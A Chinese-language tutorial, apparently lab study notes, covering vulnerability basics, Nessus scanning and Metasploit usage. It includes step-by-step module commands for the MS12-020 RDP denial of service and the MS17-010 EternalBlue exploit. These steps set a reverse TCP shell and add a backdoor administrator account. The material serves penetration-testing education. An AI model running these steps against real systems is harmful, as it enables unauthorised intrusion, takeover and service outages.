系统漏洞利用
安全漏洞基本概念
漏洞(Vulnerability)又叫脆弱性,这一概念早在1947年冯•诺依曼建立计算机系统结构理论时就有涉及,他认为计算机的发展和自然生命有相似性,一个计算机系统也有天生的类似基因的缺陷,也可能在使用和发展过程中产生意想不到的问题。
1970-80年代,早期黑客的出现和第一个计算机病毒的产生,软件漏洞逐渐引起人们的关注。
随着计算机应用的发展和互联网络的出现,漏洞相继在软件、硬件、管理过程,甚至人的环节出现,引起病毒泛滥、黑客猖獗,使得安全漏洞成为网络空间的一个现实、热门话题。
漏洞成因
- 实现漏洞是安全漏洞中最大的一类,大多数我们接触到的安全漏洞都属于这一类。实现类漏洞是由于在程序编码时不够严谨或对于安全性 的考虑不周而产生的漏洞,缓冲区溢出类漏洞是最典型的实现漏洞
- 设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件,这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备
- 配置漏洞是由于软件的配置或者不恰当的配置导致的安全漏洞。例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中,默认情况下会允许远程用户建立空会话,枚举系统里的各项NetBIOS信息。这里空会话指可以用空的用户名和空的口令通过NetBIOS协议登录到远程的Windows系统中
漏洞信息管理
CVE(Common Vulnerabilities & Exposures,通用漏洞披露)
美国国家漏洞数据库(NVD)
http://cve.mitre.org CVE官网
http://www.cnnvd.org.cn/index.html 国家信息安全漏洞库(CNNVD)
http://www.nsfocus.net/ 绿盟科技
http://www.scap.org.cn/ SCAP 安全内容自动化协议中文社区
安全漏洞检测技术
目标:研究专门的技术手段和方法,建立多角度的漏洞检测能力
- 经验向理论转化
- 形成自动化、规模化能力
方法:
- 静态分析(分析代码)
- 动态分析(漏洞扫描,又可分为本地扫描和远程扫描)
常见的系统漏洞扫描器
系统漏洞扫描器是相对于WEB应用漏洞扫描器而言扫描器,主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具
软件类:NESSUS、OpenVAS、Nmap
硬件类:
绿盟远程安全评估系统
启明天境脆弱性扫描与管理系统
杭州迪普漏洞扫描系统
榕基风险管理系统
网御漏洞扫描系统
系统漏洞识别原理
漏洞识别的主要方法可以分为原理扫描和推断扫描两类,在实际实现过程中扫描器开发者会根据漏洞的特点不同选择不同的漏洞识别技术来进行漏洞识别
| 识别技术 | 检测思路 | 准确率 | 检测效率 | 对目标的影响 | 适用场景 |
|---|---|---|---|---|---|
| 原理扫描 | 利用漏洞形成的原因和漏洞的特点尝试对漏洞进行利用并根据漏洞利用的结果来判断漏洞是否存在。 | 基于漏洞原理进行识别,准确率高。 | 步骤多,检测速度较慢 | 对目标影响较大,可能导致目标宕机或破坏程序和数据 | 常用于WEB应用漏洞扫描和一些利用后不影响系统运行的漏洞,尤其不适用于拒绝服务漏洞。 |
| 推断扫描 | 推断扫描不直接利用漏洞,而是寻找其他漏洞存在的证据,并以此推断漏洞存在。版本检查是推断扫描的常用方式之一 | 准确率受实现技术和漏洞修复技术的影响,有一定的误报率 | 过程简单,速度较快 | 不利用漏洞,对目标影响较小 | 适用于通用软件的扫描,在大规模的扫描任务中有比较明显的优势。 |
NESSUS介绍与利用
NESSUS是目前全世界最多人使用的系统漏洞扫描与分析软件,具有能够提供完整的电脑漏洞扫描服务,并随时更行其漏洞数据库。可同时在本机或远端上遥控,进行系统的漏洞分析扫描,运作效能能随着系统的资源而进行调整。可自行定义插件(Plug-in)等特点
NESSUS功能介绍
打开浏览器输入http://localhost:8834进入登录页面输入账号密码登录
在首页选择new scans新建一个扫描任务,新建任务时需要对扫描进行选择或配置,带有upgrade标签的是需要升级成企业版或者专业版才能使用
在scan Library中选择Basic Network Scan进行配置,通常情况下只对General(一般选项)、Discovery(主机发现)、Assessment(风险评估)、及Advanced(高级选项)进行配置






NESSUS的使用
使用NESSUS进行扫描的具体步骤:
- 在New Scan ->Basic Network Scan 下设置项目名称与描述,设置归属栏目为my scans,输入目标主机地址或网段。
- 可在首页查看扫描记录,点击对应的扫描任务可查看任务可查看任务的详细信息
- 选择扫描任务进入后可查看扫描信息。





MetaSploit介绍与利用
Metasploit就是一个漏洞利用框架。全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。被安全社区冠以"可以黑掉整个宇宙"之名的强大渗透测试框架。
专业术语
- 渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
- 攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
- Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
- 模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
- 监听器(Listener),是Metasploit中用来等待网络连接的组件(生成木马之后发给受害主机,监听反弹木马连入本机)。
启动Metasploit--->
控制台启动:msfconsole 常用控制台方式

图形界面启动:
输入:armitage,若提示不存在
请输入:apt-get install armitage
安装后需要使用:msfdb init
然后输入armitage
重要模块介绍:
exploits 攻击模块 实施精准打击
auxiliary 漏洞辅助模块,多用于扫描,嗅探,指纹识别等功能
payloads 漏洞载荷模块,通常作用是为渗透测试者打开在目标系统上的控制会话连接
encoders 编码器模块,对payloads进行编码
nops 空指令模块,最典型的空指令就是空操作
evasion 创建反杀毒软件的木马
Metasploit的常用命令:
- show exploits 显示可用的渗透攻击模块。
- search 用来搜寻一些渗透攻击模块,可以进行模糊匹配。
- use 使用某个渗透攻击模块,可以通过use命令来使用show 或 search出来的渗透模块。
- show payloads 显示当前模块可用的攻击载荷
- show options 显示参数当选择渗透模块后,使用show options 会显示该模块所需设置的参数。
- set 命令是用来设置某些选项的,比如使用set 命令设置,攻击模块的options参数;设置攻击载荷payloads时,也是用set命令。
- exploit/run命令,设置完所有参数时,使用exploit命令,开始进行攻击。
使用Metasploit的具体思路:
- 搜索攻击模块;使用命令:search + 漏洞信息或编号
- 使用某个模块;使用命令:use
- 查看配置选项;使用命令:show options
- 设置选项值;使用命令:set
- 开始攻击;使用命令:run/exploit

MetaSploit进行ms12-020漏洞利用
-
在kali里面打开metasploit漏洞利用框架
-
搜索ms12-020漏洞利用模块
search ms12-020
-
auxiliary/dos/windows/rdp/ms12_020_maxchannelids

-
在kali里面打开metasploit漏洞利用框架

-
搜索ms12-020漏洞利用模块

-
使用模块 use + 模块名
-
查看当前模块所需配置项 show options
-
RHOST 需设为远程靶机的IP地址
-
设置配置项,如set RHOST xxx.xxx.xx.x

-
实施攻击 exploit 或者run


MetaSploit进行ms17-010漏洞利用
-
在kali里面打开metasploit漏洞利用框架
-
搜索ms17-010漏洞利用模块
search ms17-010
exploit/windows/smb/ms17_010_eternalblue

-
使用利用模块

- 在kali里面打开metasploit漏洞利用框架
- 搜索ms17-010漏洞利用模块
- 使用利用模块
- 查看配置项 show options

-
在kali里面打开metasploit漏洞利用框架
-
搜索ms17-010漏洞利用模块
-
使用利用模块
-
查看配置项 show options
-
设置 靶机IP地址

-
设置以TCP反弹一个shell回来

-
设置攻击者IP地址

-
查看配置项--show payloads

-
设置返回监控窗口
-
实施攻击 exploit



-
可以创建用户 net user xxxx 1234 /add(xxxx用户名 1234密码)
-
net localgroup administrators xxxx /add (将用户添加到管理员组)
-
重新打开一个终端 rdesktop+IP
-
在kali里面打开metasploit漏洞利用框架
-
搜索ms17-010漏洞利用模块
-
使用利阿用模块
-
查看配置项
-
设置靶机IP

-
设置攻击者IP地址

-
查看配置项--show payloads

-
设置返回监控窗口

-
实施攻击
